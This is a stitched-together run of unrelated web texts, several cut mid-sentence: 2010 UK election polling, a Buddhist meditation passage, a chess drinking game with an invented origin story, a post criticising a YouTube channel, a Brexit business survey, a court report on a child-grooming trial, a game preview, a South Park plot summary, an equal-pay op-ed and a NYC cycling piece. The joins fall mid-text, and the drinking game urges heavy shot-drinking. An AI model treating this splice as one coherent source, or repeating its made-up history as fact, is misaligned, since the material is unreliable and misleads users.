was likely, and this would potentially have ensured the Labour government's survival to the end of 2012. Gordon Brown has since maintained that Labour would have won but he did not believe an early election was in the national interest. In the meantime, Michael Howard had stepped down as Tory leader after the 2005 general election, being succeeded by David Cameron. In January 2006, Charles Kennedy stepped down as leader of the Liberal Democrats to be succeeded by Menzies Campbell, who himself resigned at the end of the following year to be succeeded by Nick Clegg. 2006 had seen the Tories make gains in local elections, as well as enjoying their first consistent lead of the opinion polls in 14 years. 2007 had seen both the Tories and Labour lead the opinion polls, but 2008 saw the Tories build up a wide lead as the Labour government's support slumped in the face of the economic crisis. Labour also suffered huge losses in local elections, as well as suffering by-election defeats, with the Tories, Liberal Democrats and Scottish National Party all enjoying success at Labour's expense. This trend continued throughout 2009 as the recession deepened and unemployment continued to soar. The expenses scandal also had an adverse effect on the Labour government's dwindling popularity, although MPs from other parties were also shamed in the scandal. Labour also performed dismally[clarification needed] in the European parliament elections of 2009, and opinion polls pointed towards a heavy defeat in the event of a general election. The previous two general elections had both been held at four-year intervals, but there would be no general election in 2009. On 6 April 2010, Gordon Brown called a general election for 6 May – with the opinion polls still showing a Conservative lead, although most of the polls showed that a Conservative majority was unlikely, suggesting that Labour could still continue in a minority or coalition government. In the event, the Tories enjoyed the largest share of votes and seats, but came 20 seats short of a majority. On 11 May 2010, Gordon Brown tendered his resignation as prime minister to the Queen, and recommended that David Cameron should be invited to form the next government. Cameron duly did so, forming a government in coalition with the Liberal Democrats, and making their leader Nick Clegg deputy prime minister. Background [ edit ] Since each MP is elected separately by the first past the post voting system, it is impossible to precisely project a clear election outcome from overall national shares of the vote. Not only can individual constituencies vary markedly from overall voting trends, but individual countries and regions within the nation may have a very different electoral contest that is not properly reflected in overall share of the vote figures. Therefore, the first past the post system means that the number of MPs elected may not reflect the overall popular vote share across the parties. Thus, it is not necessarily the party with the largest share of the popular vote that ends up with the largest number of MPs. (See details of the elections in 1951 and February 1974) Since 1935 no party has achieved more than 50% of the popular vote in a British general election. The voting system favours parties with relatively concentrated support: a widely distributed vote leaves a party at risk of getting a large vote share but doing poorly in terms of numbers of seats (as the SDP-Liberal Alliance did in the 1980s), whereas parties with localised votes can win seats with a relatively small share of the vote. That said, in previous elections, approximate forecasting of results were achieved by assuming that the swing in each individual constituency will be the same across the country. This system, known as uniform national swing (UNS) is used by much of the media in Britain to assess and extrapolate electoral fortunes from opinion poll data, though there has been criticism that such predictions may be naive and unreliable, even from providers of such data.[1] By using UNS projections, several media commentators and politicians have suggested that significant swings towards the Liberal Democrats in the opinion polls may not necessarily amount to significant gains in terms of parliamentary seats, including predictions that even if the Liberal Democrats had the most votes, and Labour the least, it could be the case that Labour retains the most seats while the Lib Dems have the fewest.[2][3][4] Normally governments can easily survive for a full parliamentary term on a majority of more than 20 seats over all other parties. Below that level there is a danger of by-elections and MPs crossing the floor of the House of Commons reducing the government to a minority such that it would be at increased risk of losing a vote of no confidence. Polling since 2005 [ edit ] Immediately following the previous general election, the Labour party held a double-digit lead in opinion polls. However, over the course of 2005, this lead was eroded somewhat. By December 2005, the Conservative party showed its first small leads in opinion polls following the controversial 90 days detention proposals and the election of David Cameron to the leadership of the Conservative party.[5] In early 2006, opinion polls were increasingly mixed with small leads given alternately to Labour and Conservative. From the May 2006 local elections, in which Labour suffered significant losses, the Conservatives took a small single-digit lead in opinion polls. This was the first consistent lead of the opinion polls that the Conservatives had enjoyed for 14 years. Labour regained the lead in June 2007, following the resignation of Tony Blair as prime minister and the selection of Gordon Brown as his successor. Brown resisted calls from his party to hold a general election, despite opinion polls suggesting that Labour was capable of being re-elected at this stage. From November 2007, however, the Conservatives again took the lead and, from then, extended their lead into double digits, particularly in response to the MPs' expenses scandal and the economic recession along with the increased unemployment that resulted from it, although there was some evidence that the lead narrowed slightly towards the end of 2008 and again in late 2009. By the end of February 2010, Ipsos MORI, ICM, YouGov and ComRes polls had all found a sufficient narrowing of the Conservative lead for media speculation about a hung parliament to return - scenario which could have allowed Labour to cling onto power in a minority or coalition government.[6] From 15 April 2010, following the first televised debate of the party leaders, however, polling data changed dramatically, with the Lib Dem vote proportion rising to 28–33%, and the Conservative vote proportion falling. In some polls, the Liberal Democrats took the lead from the Conservatives by a narrow margin which was unprecedented in the period since the Lib Dems were founded in 1988. Under UNS projections, this made a hung parliament highly probable, if Lib Dem performance had persisted.[7] After the second debate on 22 April the polls, on average, placed the Conservatives in the lead on 33%, the Liberal Democrats in second on 30% and Labour in third on 28%. If these polls had reflected the election day results on a uniform swing nationwide, Labour would have had the most seats in a hung Parliament, and therefore it still appeared possible that Labour might remain in power as the main party in a minority or coalition government. Exit poll [ edit ] At 10 pm on election day, coinciding with the closure of the polls, the results of an exit poll collected for the BBC, Sky and ITV news services were announced. Data were gathered from individuals at 130 polling stations around the country. The results of the poll initially suggested a hung parliament with the Conservative Party 19 seats from a controlling majority; this was later adjusted to 21 seats. The distribution of seats amongst the Conservatives, Labour, Liberal Democrats and other parties was initially suggested to be 307, 255, 59 and 29 respectively,[8] although the seat numbers were later changed to 303, 251, 69, and 27 respectively.[9] Initial reaction to the exit poll by various commentators was of surprise at the apparent poor prospects for the Liberal Democrats[10] because it was odds with many opinion polls undertaken in the previous weeks. However, the actual results showed that the exit poll was a good predictor. A later BBC Exit poll (05:36 BST) predicted the Conservatives on 306, 20 short of an overall majority, Labour on 262, and Liberal Democrats on 55.[9] Graphical summaries [ edit ] The following graph shows ICM poll results since the last general election. Results for Conservative are in Blue, Labour in Red, Liberal Democrat Gold and Others in Grey. Other polling houses may show different results, and all polls are subject to a margin of error and possible house bias. The following graph shows YouGov poll results since the calling of the general election. The following graph shows ComRes poll results recorded over the period April 11 – May 6, 2010, including annotations of the three TV debates. Poll results [ edit ] Poll results are initially listed in reverse chronological order showing the most recent first, using the date the fieldwork was done, as opposed to the date of publication. The figure given in the 'lead' column before the televised leaders' debates is the lead held by Labour or the Conservatives over the second placed of the two parties. For figures after the first debate, after which the Liberal Democrats were placed in first or second position in some polls, the second placed party is also noted in the column where applicable. Most of the polling companies listed are members of the British Polling Council, and abide by its disclosure rules. BPIX is not a member of the BPC, and does not publish detailed methodology and findings. 2010 [ edit ] 2009 [ edit ] 2008 [ edit ] 2007 [ edit ] 2006 [ edit ] 2005 [ edit ] See also [ edit ] Notes [ edit ]Ajahn Chah Ajahn Chah A Taste of Freedom “On Meditation” “When the mind is peaceful and established firmly in mindfulness and self-awareness, there will be no doubt concerning the various phenomena which we encounter. The mind will truly be beyond the hindrances. We will clearly know as it is everything which arises in the mind. We do not doubt it because the mind is clear and bright. The mind which reaches samàdhi is like this. However some people find it hard to enter samàdhi because it doesn’t suit their tendencies. There is samàdhi, but it’s not strong or firm. But one can attain peace through the use of wisdom, through contemplating and seeing the truth of things, solving problems that way. This is using wisdom rather than the power of samàdhi. To attain calm in practice it’s not necessary to sit in meditation, for instance. Just ask yourself, “Ehh, what is that?…” and solve your problem right there! A person with wisdom is like this. Perhaps he can’t really attain high levels of samàdhi, although he develops some, enough to cultivate wisdom. It’s like the difference between farming rice and farming corn. One can depend on rice more than corn for one’s livelihood. Our practice can be like this, we depend more on wisdom to solve problems. When we see the truth, peace arises. The two ways are not the same. Some people have insight and are strong in wisdom but do not have much samàdhi. When they sit in meditation they aren’t very peaceful. They tend to think a lot, contemplating this and that, until eventually they contemplate happiness and suffering and see the truth of them. Some incline more towards this than samàdhi. Whether standing, walking, sitting or lying, (that is, at all times, in all activities) enlightenment of the Dhamma can take place. Through seeing, through relinquishing, they attain peace. They attain peace through knowing the truth without doubt, because they have seen it for themselves. Other people have only little wisdom but their samàdhi is very strong. They can enter very deep samàdhi quickly, but not having much wisdom, they cannot catch their defilements, they don’t know them. They can’t solve their problems. But regardless of whichever approach we use, we must do away with wrong thinking, leaving only Right View. We must get rid of confusion, leaving only peace. Either way we end up at the same place. There are these two sides to practice, but these two things, calm and insight, go together. We can’t do away with either of them. They must go together.” ♥♥♥The KING ♔ He is represented by Jaegermeister Rationale: A double-shot of Jaegermeister will put hair on your chest. It is ice-cold, tastes bitter, yet very very sweet, not something you should do too many times in a night. If you lose a chess match and are checkmated, you deserve this. On the plus side, it means that despite having been humiliated as a nerd at a nerd game, the night is only just getting started. On the down side, it may be the last memory you have as a living human on earth. ♔ He is represented by Jaegermeister A double-shot of Jaegermeister will put hair on your chest. It is ice-cold, tastes bitter, yet very very sweet, not something you should do too many times in a night. If you lose a chess match and are checkmated, you deserve this. On the plus side, it means that despite having been humiliated as a nerd at a nerd game, the night is only just getting started. On the down side, it may be the last memory you have as a living human on earth. The QUEEN ♕ She is represented by Russkiy Standart vodka Rationale: Gracious, pure, yet hands-down the most lethal thing around, vodka (and especially Russkiy Standart) is the perfect shot you should be forced to take if you lose your queen. It looks so flavorless, so clear, so innocent, yet it has a deservedly fearsome reputation. Moreover, clear liquors such as vodka, as Ron Swanson pointed out, is a drink for "rich women on diets"--which is pretty much the definition of a queen. ♕ She is represented by Russkiy Standart vodka Gracious, pure, yet hands-down the most lethal thing around, vodka (and especially Russkiy Standart) is the perfect shot you should be forced to take if you lose your queen. It looks so flavorless, so clear, so innocent, yet it has a deservedly fearsome reputation. Moreover, clear liquors such as vodka, as Ron Swanson pointed out, is a drink for "rich women on diets"--which is pretty much the definition of a queen. The ROOK ♖ Represented by Jameson Irish whiskey Rationale: Jameson is Irish. You know what else is Irish? Charging straight at your enemy shouting Gaelic war cries. The rook doesn't pussy-foot around, prancing over pieces, moving diagonally, oh no. He runs right at you and mechanically separates your head from your body with a battleaxe. Lose the most Irish of pieces, and you must shoot Irish whiskey (there are better Irish whiskies, but it is a crime in most civilized countries to shoot them, or at least it should be, so Jay-mo is as good as you deserve). ♖ Represented by Jameson Irish whiskey Jameson is Irish. You know what else is Irish? Charging straight at your enemy shouting Gaelic war cries. The rook doesn't pussy-foot around, prancing over pieces, moving diagonally, oh no. He runs right at you and mechanically separates your head from your body with a battleaxe. Lose the most Irish of pieces, and you must shoot Irish whiskey (there are better Irish whiskies, but it is a crime in most civilized countries to shoot them, or at least it should be, so Jay-mo is as good as you deserve). The BISHOP ♗ Is represented by SoCo The bishop is not quite as lethal as the rook, but he is tricky. He cannot move forward. And yet, he is one of the quickest big pieces to deploy, and when he does, he opens up routes of attack and pins you down. As with the Bishop, SoCo lulls you into a sense of false security. One moment you think you're fine; the next moment, you walk headfirst into a lamp-post. For losing such a brainy soldier, you are condemned to a heavy sugar-induced hangover. Shoot that SoCo. ♗ Is represented by SoCo The bishop is not quite as lethal as the rook, but he is tricky. He cannot move forward. And yet, he is one of the quickest big pieces to deploy, and when he does, he opens up routes of attack and pins you down. As with the Bishop, SoCo lulls you into a sense of false security. One moment you think you're fine; the next moment, you walk headfirst into a lamp-post. For losing such a brainy soldier, you are condemned to a heavy sugar-induced hangover. Shoot that SoCo. The KNIGHT ♘ He is represented by Knob Creek Kentucky Bourbon According to chess theorists, the knight is the least valuable big piece; bourbon is similarly under-appreciated by many as a lowly product churned out by clueless American bumpkins. And unlike Irish whiskey, bourbon is not so easy to understand. It's complex, it's enigmatic, and harsher. Yet without warning, both the knight and bourbon will jump out of nowhere and destroy you. 'Murica. ♘ He is represented by Knob Creek Kentucky Bourbon According to chess theorists, the knight is the least valuable big piece; bourbon is similarly under-appreciated by many as a lowly product churned out by clueless American bumpkins. And unlike Irish whiskey, bourbon is not so easy to understand. It's complex, it's enigmatic, and harsher. Yet without warning, both the knight and bourbon will jump out of nowhere and destroy you. 'Murica. The PAWN ♙ Is represented by gin [any type] Gin was the drink of the poor for a reason. Even mixed with tonic water, it's still gross, undrinkable, vile, and gets you drunk as hell really quick. 8 shots of this other-worldly shit on the board will make you think more than twice about just blindly sacrificing your pawns. Doesn't matter what brand--the stuff in plastic bottles is just as good as the most expensive stuff. Taking a piece en passant: If you take an opponent's pawn en-passant, you may force them to take a double shot of gin--they must empty your shot glass as well as their own. Pawn promotion: If you manage to get a pawn to the opposite end of the board, you are allowed to promote it to a big piece. Whichever one you decide, your opponent must take a shot of the liquor. If you get a queen, your opponent drinks vodka; a knight, bourbon; and so on. Castling: This is a standard move that immeasurably improves the defensive strength of your position on the board. Unfortunately [or perhaps fortunately] for the player who castles, this strength comes with a cost. If you castle, you are moving the King (Jaegermeister) and the Rook (Jameson). As any good college student knows, these are the two primary ingredients of that wonderful invention known as the Bear Fight, which you must duly consume. I will let Urban Dictionary define it for you: "A drink, of sorts, consisting of two drinks taken one after the other. An Irish Car Bomb [shot of Bailey's, shot of Jameson and a Guinness] and a Jägerbomb [Jaegermeister and Red Bull]. You simply line them up and take one after the other, wait 5-10 minutes, and then you will know how it has earned it's name." I should preface this answer by noting that I attended perhaps the nerdiest college ever (................). With that behind me, I can say from considerable experience that nerds themselves play the same games as normal people do. This nerd is, sadly, not very creative when it comes to drinking games. I am a champ at Flip-Cup, decent at Kings, a novice at Finger Blasters and tragically unreliable at Beer Pong and Baseball.So, given this grim state of affairs, let me describe one game that is extremely nerdy and can be spiced up with booze.Let's first make clear one thing: Chess is the king of nerdy games. It is the oldest nerdy game still around. It was invented by the Indians and the Persians between 1 and 2 trillion years ago, and named for the Persian word for King (; "checkmate" being a corruption of, meaning "the king is dead").Why is chess a nerdy game? Because the Persians were also good at math. And math is the epitome of nerdiness. Point proven. Also, the story of the invention of chess is the classic "nerd's revenge" plot.It's well-known to serious historians that when Cyrus the Great was a boy, two girls, Soheila and Narges, were competing for his royal attentions. Soheila was beautiful, she was head cheerleader at Persepolis Senior High, and used to date Artaxerxes, the hunky lead chariot-rider on the Persepolis High Snow Leopards varsity team, before she set her sights on Cyrus. Narges, on the other hand, was a smart girl who was the reigning champion of the Cuneiform Spelling Bee, and the closest she ever got to the chariot-riding team was as the team statistician. One day, she realized that Coach Dariush (he went by "Rush" for short, and chewed a lot of dip) wasn't explaining plays effectively using his soft clay clipboard, which would dry up and become un-erasable in the hot Persian summers. She whittled figurines to represent the players on the pitch out of cedar, and voila--chess was born. Soheila accosted Cyrus one time after the Festival of Fire formal and had her way with him, but the girl that he gave credit to in the senior yearbook for all of his amazing plays was Narges. They were married happily forever after.So I digressed. My bad, sorry. Anyhow, eventually the game became what we know it is today. What the ancients did NOT have, however, was the art of distilling. So to make the nerdy game of chess more interesting, you can combine the two--Chess with Shots. As pictured, every piece would be a single shot, save for the King and Queen, who would double shots.Unlike the picture, however, the Murao Variant would suggest that different liquors be used for each piece.Obviously the pieces and strategy work the same as in standard chess. However, there are a few nuances worth mentioning:This is completely made up. But it's important context, or at least entertaining context to write while I wait for dinner to be ready.princ3sspancak3s-deactivated201 asked: What do you think about Game Theorists' new video "The Strategy of Sex Appeal in Dead or Alive"? Personally I think everything about it can be summed up by the final moments, where the host (MatPat) boldly announces he’s proven something then immediately backtracks to say it’s “just a theory”. Also I think that it’s pretty morally reprehensible to try make a video shaming a community for trying to be more inviting. In this case it’s even worse than the absurdity of the SMITE video that MatPat made. So I feel obligated to vivisect it so we can reference to it later. The (really long) full in depth breakdown is below the cut, but here’s the core of what I really want people to take away: Game Theorist is not a channel for actual discussion of game issues, it’s goal is not to make you better informed. If you’re looking for that, I highly recommend ditching MatPat and instead checking out what Jamin Warren has to say every week at PBS Games Show. For starters, you’ll see Jamin do something that GT never does: In this case I did find at least one of MatPat’s sources and confirmed that he completely misread the information. This is only possible if he didn’t read closely or investigate - meaning he just rushed to find something to confirm biases and allow for pretentious claims of “it’s science!”. (Simply put: “The smartest show in gaming”, isn’t) So what is Games Theorist? It’s a way for the GT crew to make money by pretending to be clever in a way that flatters people and builds trust through reassurance - right before a message from their sponsor. Much like how some ads tell a heart warming story followed by an endorsement for a company. Basically every episode GT is the “bait” portion of an ad. And so, you should never expect that will challenge the status quo too much (unless it’s by reassuring their audience it’s not their fault and/or they’re different). To quote the immoral Don Draper, “Advertising is based on one thing: Happiness. And do you know what happiness is? Happiness is the smell of a new car. It’s freedom from fear. It’s a billboard on the side of the road that screams with reassurance that whatever you’re doing is okay. You are okay.” There’s simply more money and more praise in it for the GT crew to tell you placating stories about how the things you don’t like are bad and the things you like are okay than there is for them to challenge the audience in a way that might alienate some and get others so invested in a single discussion that GT doesn’t plan to return to. That’s why MatPat will tell you SMITE goddesses aren’t commercially sexualized even though they clearly are, or that regardless of what the community who play it say - sexy costumes are essential to Dead or Alive strategy. He wants his audience to come away from the video feeling that he made them feel OK with whatever them are doing, so them’ll come back again and again and again. Seriously, MatPat himself has said that defending these costumes makes you a mindless puppet of the games industry because they basically leverage outrage to get publicity and hence attention (or course, it’s not your fault - you couldn’t have known unless you were MatPat!). He’s also more or less as shameless as they are, putting affiliate links in his video descriptions, one minute ads at the end of the videos and well… So seriously, before you take anything MatPat or any other Game Theorist crew member says
on unit costs, 738 responses to the question on labour costs, 548 responses to the question on financing costs. Questions were asked between Oct-16 and Aug-17. Results are weighted by employment size. When we break these responses down by firm size, we find larger firms are more pessimistic about the impact of Brexit than smaller firms. These firms are often more exposed to international markets than smaller firms, although many small firms form part of a supply chain for larger firms. 3. The majority of firms are not considering moving any operations abroad, but a few larger firms are Most firms see no possibility of shifting the location of their operations abroad – many have no presence abroad and export little or nothing. Firms accounting for 80% of employment attached zero probability to moving any operations. Among larger firms and exporters, however, the story is different. Larger firms and those that are more exposed to international markets were more likely to think that they might move part of their business abroad compared to firms that are smaller or domestically focused. By sector, firms in manufacturing were most likely to say there was a chance of moving. Across all respondents, the average (employment-weighted) probability of moving some operations abroad was 7%, with companies who accounted for 7% of employment thinking that it was more likely than not that they would move some operations abroad (Table 1). These probabilities are still quite small at this stage, but not negligible. Companies that reported higher probabilities of moving abroad were more likely to expect to move within the next two years, before the UK has actually left the EU, whereas those reporting lower probabilities were less likely to plan on moving within two years. Table 1 Probability of moving some operations abroad 4. Exit risks lowering aggregate productivity growth The higher productivity parts of the country voted to remain in the EU (Figure 4). After the vote in the referendum they became less optimistic about future prospects for the economy (Figure 5), and have likely lowered investment and employment growth. Figure 4 Productivity by Regional Brexit vote share Notes: Results are from the Electoral Commission and the Bureau van Dijk Fame dataset covering 14,896 UK companies. Total factor productivity is measured as a natural logarithm of profits less 0.7* the log number of employees and 0.3* log of tangible assets demeaned at the industry level. The productivity measure, which is based on 2015 data (2014 if 2015 not available), has been winsorized at the 1% and 99% to reduce the impact of any possible outliers. Results for average wages – another proxy for productivity – look similar across regions. Figure 5 Economic optimism by regional Brexit vote share Notes: Results are from the Electoral Commission and the Decision Maker Panel survey based on 606 responses between May-17 and Jul-17. Growth rates refer to the difference between the expected and current level of capital expenditure in terms of a percentage of their average value. The investment growth rates have been winsorized. Results are weighted by employee size. In contrast, the parts of the country that were in favour of Brexit had lower productivity (Figure 4), and have become more positive about future prospects since the vote (Figure 5), potentially raising investment and employment growth. If this leads to a reallocation of investment and employment from higher to lower productivity parts of the country, it could reduce UK productivity growth. Authors’ note: Principal Investigators Bloom and Mizen have received £683,636 in the form of an ESRC standard grant for “Measuring the Impact of Brexit on UK Investment, Productivity, Sales and Employment”. The funding will support an online survey and research into the impact of Brexit on the UK for three years, 1 Sept 2017 – 31 August 2020. The project is carried out with the collaboration of HM Treasury, Bank of England, the Universities of Nottingham (UK) and Stanford (US). Reference Bloom, N, P Bunn, P Mizen, P Smietanka, G Thwaites and G Young (2017) “Tracking the views of British businesses: evidence from the Decision Maker Panel” Bank of England Quarterly Bulletin, 2017Q2. This post represents the views of the author and not those of the Brexit blog, nor the LSE. It first appeared at VoxEU. Nicholas Bloom is Professor of Economics at Stanford University. Paul Mizen is Professor of Monetary Economics at the University of Nottingham.Image caption The nine men are accused of sexually exploiting six girls aged between 11 and 15 A 14-year-old girl woke up naked in a bed with two men but cannot remember what happened, a court heard. The witness, now 16, was giving evidence at the trial of nine men accused of grooming children and exploiting them for sex in Oxford. She told the Old Bailey she was "off her head" on drugs and alcohol during the incident, in December 2011. The men, from Oxford and Berkshire, deny 51 offences including rape and trafficking from 2004 to 2012. 'Might go mad' The court heard the incident happened at a guest house in Oxford. The girl, who is the youngest of six girls who have told the court they were victims of the accused, has been in various foster placements and children's homes, the jury was told. When she was 12 or 13 she started hanging around with older Asian men around Cowley Road in Oxford, the court heard. Giving evidence from behind a screen, she said it was there she met "Tayab", who she later identified to police as defendant Mohammed Hussain. She told the court he was older than her, in his 20s, and they met "many times" over a few years. Jurors heard she had sex with him and also with defendant Assad Hussain who she knew as "Ash". She told jurors she was "disgusted" with herself for having sex with men but felt she could not refuse. When asked why she had sex with Mohammed Hussain she told the court: "I felt if I didn't he might go mad at me." She resorted to self harm as a result of her treatment, she said. The trial is expected to last until May. The defendants, all in custody, are:I had the opportunity to play a few levels from Stealth Inc. 2: A Game of Clones whilst at PAX. I went in with absolutely zero expectations, as I had never played the first, and had paid just enough attention to the game to know that it was once called Stealth Bastard. The developer changed the name, of course, to Stealth Inc. and released the game on PC, PS3, and PS Vita. With the sequel, Curve Studios (Stealth Inc., Thomas Was Alone, Lone Survivor) has signed an exclusivity deal with Nintendo to release the game exclusively on the Wii U, with no plans currently to release on other consoles. For those not in the know, Stealth Inc. 2 puts players in the shoes of a clone who finds himself within a factory that asks him to complete various tests that involve all sorts of puzzle solving. The puzzles mostly include, unsurprisingly, stealth and generally avoiding being spotted by various cameras and turrets. In the sections I played, I was given a tool that would inflate and deflate at my command and allowed me to be blocked from gunfire or press buttons from a distance. It also serves other purposes, which I don’t plan to spoil here, that will generally aid the player in solving the game’s many puzzles. The stealth mechanic is ingeniously simple. Standing in the dark, you can’t be spotted. You’ll know you’re in the dark based on the color of the goggles your character is wearing – green, you’re good; yellow, watch out; red, you’re S.O.L. Stealth games have rarely been this intuitive, even Mark of the Ninja (which this game will likely be compared to). I also noticed several references to the Splinter Cell series throughout the demo, including the series’ text-on-the-wall objectives. Perhaps Stealth Inc. 2‘s greatest feature is it’s fantastic level design. There is little – if any – on screen prompts that act as tutorials. The levels are simply designed in a way to teach the player the correct path or the correct way in which to use the proper tool. There is always just enough forgiveness that it allows for the player to learn from their mistakes while never growing repetitive or frustrating, even when it embraces the stealth genre’s motto of “dust yourself up and try again.” What will likely stand out to most players is the game’s fun approach to a genre that is so heavily steeped in rigidity and seriousness. The clones are adorable and have the ability to wear goofy hats which can be found throughout the game. Most importantly, when you die, your body explodes in a violent mess, not generally associated with cute characters. The contrast between family friendly visuals and over-the-top violence is the games most hilarious asset. Walking away from Stealth Inc. 2, I couldn’t help but feel surprised at just how great the game felt. My experience with the Wii U game pad is extremely limited, to say the least, but the fluidity of the animations and the expertly designed levels made the game feel right at home on the Wii U and it’s massive controller. Stealth Inc. 2: A Game of Clones will be released on the Wii U in October.2nd episode of the nineteenth season of South Park "Where My Country Gone?" is the second episode of the nineteenth season of the animated television series South Park, and the 259th episode overall, written and directed by series co-creator Trey Parker. The episode premiered on Comedy Central on September 23, 2015. It parodies illegal immigration to the United States and the 2016 presidential candidacy of Donald Trump, along with Caitlyn Jenner and political correctness. Plot [ edit ] Kyle is unwillingly honored at the White House by Barack Obama for his acceptance of Caitlyn Jenner (in the previous episode). His reward is to be driven back home by Jenner, who runs over a pedestrian while leaving the White House (in reference to Jenner's real life collision[1]). Mr. Garrison observes that many Canadians have entered the United States illegally, placing many Canadian students in South Park Elementary. When he reacts intolerantly to a group of them disrupting his class, PC Principal forces the entire faculty to take "Canadian-language" night classes to better help their Canadian students. Garrison reacts to this by composing a song, "Where My Country Gone?" lamenting how immigration has ruined his country. He uses the song to rally the townspeople to his cause. When Garrison interrupts a school presentation on Canadian history he is fired, stirring tension between American and Canadian students. Cartman and his friends decide that the only way to bring peace is to encourage a romantic relationship between the factions: they appoint Butters to ask out a Canadian girl. Garrison gets the entire town behind his proposal to literally "fuck the Canadians to death", then build a wall to prevent further illegal immigration from Canada. However, it is discovered that Canada has already built an immense border wall of its own, to (according to a Canada border guard) prevent Americans from raping Canadian women and preserve Canada's "cool shit". To find out what "cool shit" they are hiding, Garrison sneaks into Canada by going over Niagara Falls in a barrel. Meanwhile, Butters begins dating a Canadian girl named Charlotte. The two find themselves falling in love. At dinner with her family, he learns that they and other Canadians left Canada unwillingly. Charlotte's father explains that during the last Canadian election there was a brash candidate (a parody of Donald Trump and his positions on immigration[2][3][4]) that said outrageous things without offering realistic solutions to problems. Everyone thought it was funny and, thus, did not take him seriously as a candidate. He was elected, to their chagrin, because they let the joke go on for too long and neglected to vote against him. After dinner, Butters reveals his romantic feelings for Charlotte, who reciprocates. Barely surviving his jaunt across the border, Garrison finds that Canada has become a deserted wasteland and heads to the President's office. There, a physical altercation ensues between the two, which ends when Garrison gains the upper hand and rapes the Canadian President to death. Upon hearing the news that the Canadian President is dead, the emigrants - including Charlotte's family - return to Canada. Back in the United States, Garrison attributes the "win" to his policy. Kyle starts to point out that the conflict actually stemmed from such hostile policies but suddenly goes silent because "no one wants another speech". Garrison tells the people of South Park that he will join the 2016 campaign for President of the United States with his running mate, Caitlyn Jenner. The two leave for Washington in a car driven by Jenner, who immediately runs over another pedestrian. Reception [ edit ] "Where My Country Gone?" received positive reviews. IGN's Max Nicholson gave the episode an 8.0 out of 10, concluding "This week's South Park improved on the first, offering both a scathing satire and a clear target: Donald Trump. With the help of both Mr. Garrison and Butters (and Canadian Donald Trump), 'Where My Country Gone?' proved to be a surprisingly enjoyable entry".[2] Chris Longo from Den of Geek rated it 4 out of 5 stars and said in his review that "this was an episode that should be satisfying even for those who have been put off by the constant flavor of the week references and faux cameos."[5] Writing for The A.V. Club, Dan Caffrey gave an A- rating to the episode, enjoying the way that it had built on the previous episode and the parody of Donald Trump, although finding Caitlyn Jenner's physical appearance "more than a little nasty".[3] Rolling Stone writer Jon Blistein praised Mr. Garrison's campaign to rid America of Canadians as "hilariously ignorant".[4]Last night, 223 members of the House of Representatives voted against equal pay for our nation’s workers. If asked, these members of Congress would almost certainly say that men and women should receive equal pay for equal work and that pay discrimination based on gender and race is a scourge that should be eliminated. Yet when the opportunity arose to support an equal pay initiative that is critical in achieving these goals, they voted no. Believe what they do, not what they say. The DeLauro-Frankel-Scott amendment that came to the House floor yesterday for a vote would have preserved federal funding for a new equal pay data collection initiative by the Equal Employment Opportunity Commission (EEOC), the federal agency that enforces our nation’s antidiscrimination laws. This initiative was developed during the Obama administration and updated an existing survey, called the EEO-1 report. The original survey, which has been around for 50 years, requires large employers to provide the EEOC and other federal entities with information about the race, gender, and ethnicity of their workforce by job category. The updated EEO-1 report would have required these employers to also provide information about what they pay their employees. The EEOC equal pay data collection was developed after years of study and two rounds of public comments, and it would have taken effect in March 2018. It is an essential tool in our fight against pay discrimination because it would have lifted the cloak of secrecy that shrouds pay decisions in this country. The gender pay gap — a condition where women working full time, year round are paid only 80 percent of the median annual wages paid to white men, and where women of color are paid even less — is a persistent problem in large part because pay discrimination is hard to detect. Workers are reluctant to share information about their pay and often are actively discouraged from doing so. Without hard data, it’s difficult to identify, challenge, and root out discriminatory compensation practices or enforce our equal pay laws. By giving federal law enforcement agencies a clearer picture of pay practices in the American workforce, the data collection would have offered a starting point for investigating discrimination and discrepancies — thereby strengthening enforcement of pay discrimination laws. But that’s just the beginning. In requiring employers to collect comprehensive pay data, the EEOC wants business owners and managers to take a hard look at their internal operations and address pay differences that might exist between male and female employees doing the same job and, for example, between Black and white employees with the same job descriptions. Despite these obvious and essential benefits, the equal pay data collection initiative has been relentlessly attacked by some in the business community who claim that it’s too hard and not at all helpful. While women’s rights and civil rights advocates have found their arguments to be wholly self-serving and unconvincing, members of Congress and senior officials in the White House were, unfortunately, more easily swayed. Indeed, in July, House Republicans adopted an amendment that cut off federal funding to implement the program. In August, the Trump administration halted the data collection altogether. Although the administration ordered an ill-defined “review” of the program and suggested that the EEOC should resubmit a revised data collection package, there are deep suspicions about the administration’s true commitment to working with the EEOC to ensure the implementation of a similar initiative. But advocates in the civil rights and women’s rights communities aren’t giving up. We’re demanding that the Trump administration and the EEOC take action to revive or renew the equal pay data collection. And we’re taking our message of support for the DeLauro-Frankel-Scott amendment in the House to the Senate. The race and gender pay gaps are real, and they will persist until we make a concerted effort to shed light on how, why, and where the inequities occur and address the compensation practices and decision-making processes that lead to unequal treatment. The EEOC equal pay data collection was a huge step in the right direction, and we must fight for its survival.Trottenberg: NYC Won’t Be Dethroned as America’s “Best Biking City” On the sidewalk of Lafayette Street this morning, next to the city’s newest protected bike lane and across from a Citi Bike station, officials and advocates celebrated New York’s #1 ranking on Bicycling Magazine’s list of the best American cities for biking. As Transportation Commissioner Polly Trottenberg accepted the honor, a question lingered: Given that so much of New York’s progress on bicycling came under the previous mayor, how will the de Blasio administration hold on to the top spot? Bicycling Magazine issues its ranking of the 50 best American cities for biking every other year, taking into account Census data on commuting, the amount and quality of bike lanes, and the political commitment to cycling, among other factors. In 2012, New York ranked seventh, with repeat champion Portland, Oregon, snagging the top spot. This year, New York leapt to the #1 slot, with Chicago, Minneapolis, Portland, and Washington, DC, rounding out the top five. Bicycling Editor-in-Chief Bill Strickland said today’s announcement is “a surprise to many cycling insiders,” with New York’s recent track record as a role model for other American cities putting it over the top. “New York City is on the leading edge of how cities can use bicycles to improve the quality of life for everyone,” he said. “We think it’s going to influence cities not just around the country, but around the world.” Trottenberg promised this morning that New York would not slow down on her watch. “The de Blasio administration is moving forward with our own bike initiatives, to meet the mayor’s very ambitious goal of increasing the share of all trips in New York City taken by bike to six percent by 2020,” she said. “Do not worry. We will not rest on past accomplishments.” Under Janette Sadik-Khan, NYC DOT added more than 366 miles of bike lanes, including 31 miles of protected bike paths [PDF], during the last seven years of the Bloomberg administration. Trottenberg said that, by the end of this year, there will be 58 additional miles of bike lanes citywide, including five miles of protected lanes. On the heels of today’s announcement, DOT released a study showing that streets with protected bike lanes have seen injuries for all road users drop by 20 percent [PDF]. “The results confirm the safety benefits of protected bicycle lanes, and that’s why DOT has committed to adding five more miles a year. And those bike 